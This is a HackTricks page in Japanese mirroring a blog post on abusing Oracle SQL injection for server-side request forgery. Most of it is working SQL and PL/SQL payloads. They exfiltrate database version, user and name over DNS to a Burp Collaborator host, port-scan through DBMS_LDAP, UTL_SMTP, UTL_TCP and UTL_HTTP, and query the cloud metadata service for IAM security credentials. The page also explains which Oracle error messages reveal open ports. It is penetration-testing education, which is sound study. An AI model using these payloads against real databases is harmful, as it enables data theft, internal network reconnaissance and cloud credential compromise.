12 KiB
Oracle injection
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
この投稿は、https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/から削除された投稿のWayback Machineコピーを提供します。
SSRF
Oracleを使用してOut of Band HTTPおよびDNSリクエストを行うことはよく文書化されていますが、これはSQLデータを抽出する手段としての注入においても同様です。これらの技術/関数を常に変更して、他のSSRF/XSPAを実行できます。
Oracleのインストールは非常に面倒な場合があります。特に、コマンドを試すために迅速なインスタンスをセットアップしたい場合はなおさらです。私の友人であり同僚のAppseccoのAbhisek Dattaは、私にhttps://github.com/MaksymBilenko/docker-oracle-12cを教えてくれました。これにより、t2.largeのAWS UbuntuマシンとDocker上にインスタンスをセットアップできました。
私は、--network="host"
フラグを使用してdockerコマンドを実行し、Oracleをネイティブインストールとして完全なネットワークアクセスで模倣できるようにしました。このブログ投稿の期間中です。
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
URLまたはホスト名/ポート番号指定をサポートするOracleパッケージ
ホストとポートの指定をサポートするパッケージや関数を見つけるために、Oracle Database Online DocumentationでGoogle検索を行いました。具体的には、
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
検索は次の結果を返しました(すべてがアウトバウンドネットワークを実行するために使用できるわけではありません)
- DBMS_NETWORK_ACL_ADMIN
- UTL_SMTP
- DBMS_XDB
- DBMS_SCHEDULER
- DBMS_XDB_CONFIG
- DBMS_AQ
- UTL_MAIL
- DBMS_AQELM
- DBMS_NETWORK_ACL_UTILITY
- DBMS_MGD_ID_UTL
- UTL_TCP
- DBMS_MGWADM
- DBMS_STREAMS_ADM
- UTL_HTTP
この粗い検索は明らかに、ホスト名とポート番号を渡すことを許可するDBMS_LDAP
のようなパッケージをスキップしています。 ドキュメントページは単に別の場所を指しています。したがって、私が見逃したかもしれないアウトバウンドリクエストを行うために悪用できる他のOracleパッケージがあるかもしれません。
いずれにせよ、私たちが発見し、上にリストしたパッケージのいくつかを見てみましょう。
DBMS_LDAP.INIT
DBMS_LDAP
パッケージは、LDAPサーバーからデータにアクセスすることを可能にします。 init()
関数はLDAPサーバーとのセッションを初期化し、ホスト名とポート番号を引数として受け取ります。
この関数は、以下のようにDNSを介してデータの抽出を示すために以前に文書化されています。
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
しかし、この関数はホスト名とポート番号を引数として受け取るため、ポートスキャナーのように機能させることもできます。
いくつかの例を示します。
SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.
は、ポートが閉じていることを示しており、セッション値はポートが開いていることを指しています。
UTL_SMTP
UTL_SMTP
パッケージは、SMTPを介して電子メールを送信するために設計されています。Oracleのドキュメントサイトに提供されている例では、このパッケージを使用してメールを送信する方法が示されています。しかし、私たちにとって興味深いのは、ホストとポートの指定を提供できる能力です。
粗い例は、タイムアウトが2秒の UTL_SMTP.OPEN_CONNECTION
関数で以下に示されています。
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;
ORA-29276: transfer timeout
はポートが開いているが、SMTP接続が確立されていないことを示し、ORA-29278: SMTP transient error: 421 Service not available
はポートが閉じていることを示します。
UTL_TCP
UTL_TCP
パッケージとその手続きおよび関数は、サービスとのTCP/IPベースの通信を可能にします。特定のサービス用にプログラムされている場合、このパッケージはネットワークへの侵入や、TCP/IP接続のすべての側面を制御できるため、完全なサーバーサイドリクエストを実行する手段となることがあります。
Oracleのドキュメントサイトの例では、このパッケージを使用して生のTCP接続を作成し、ウェブページを取得する方法が示されています。これをもう少し簡略化して、メタデータインスタンスや任意のTCP/IPサービスにリクエストを送信するために使用できます。
set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
興味深いことに、生のTCPリクエストを作成する能力により、このパッケージはすべてのクラウドプロバイダーのインスタンスメタデータサービスをクエリするためにも使用できます。メソッドタイプと追加ヘッダーはすべてTCPリクエスト内で渡すことができます。
UTL_HTTPとWebリクエスト
おそらく、すべてのOut of Band Oracle SQL Injectionチュートリアルで最も一般的で広く文書化された技術は、UTL_HTTP
パッケージです。このパッケージは、文書によって次のように定義されています - UTL_HTTPパッケージは、SQLおよびPL/SQLからHypertext Transfer Protocol (HTTP) コールアウトを行います。これを使用して、HTTPを介してインターネット上のデータにアクセスできます。
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
あなたはさらに、次のようなクエリを使用して、基本的なポートスキャンを実行することもできます。
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
ORA-12541: TNS:no listener
または TNS:operation timed out
は、TCPポートが閉じていることを示すサインであり、ORA-29263: HTTP protocol error
またはデータは、ポートが開いていることを示すサインです。
私が過去に使用した別のパッケージは、さまざまな成功を収めた HTTPURITYPE
Oracle抽象型の GETCLOB()
メソッド で、URLと対話し、HTTPプロトコルをサポートします。GETCLOB()
メソッドは、URLからのGETレスポンスを CLOBデータ型 として取得するために使用されます。[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
{% hint style="success" %}
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループ または Telegramグループ に参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- ハッキングのトリックを共有するには、HackTricks と HackTricks Cloud のGitHubリポジトリにPRを送信してください。